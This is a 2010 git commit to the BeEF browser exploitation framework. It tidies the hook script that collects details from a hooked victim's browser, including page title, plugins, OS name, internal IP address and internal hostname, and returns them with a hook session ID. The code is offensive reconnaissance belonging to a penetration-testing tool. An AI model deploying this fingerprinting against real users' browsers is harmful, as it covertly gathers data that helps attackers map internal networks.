sendback_browser_details tidied

git-svn-id: https://beef.googlecode.com/svn/trunk@616 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2010-12-17 10:17:37 +00:00
parent 1a09e6ce31
commit a6d84a7630
2 changed files with 7 additions and 12 deletions

View File

@@ -330,6 +330,9 @@ beef.browser = {
var page_title = document.title;
var hostname = document.location.hostname;
var browser_plugins = beef.browser.getPlugins();
var os_name = beef.os.getName();
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(browser_name) details["BrowserName"] = browser_name;
if(browser_version) details["BrowserVersion"] = browser_version;
@@ -337,6 +340,9 @@ beef.browser = {
if(page_title) details["PageTitle"] = page_title;
if(hostname) details["HostName"] = hostname;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
if(internal_ip) details['InternalIP'] = internal_ip;
if(internal_hostname) details['InternalHostname'] = internal_hostname;
return details;
},

View File

@@ -107,18 +107,7 @@ beef.net = {
// get hash of browser details
var details = beef.browser.getDetails();
// grab the internal ip address and hostname
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
// grab the os name
details['OsName'] = beef.os.getName();
if(internal_ip && internal_hostname) {
details['InternalIP'] = internal_ip;
details['InternalHostname'] = internal_hostname;
}
// get the hook session id
details['HookSessionID'] = beef.session.get_hook_session_id();
// contruct param string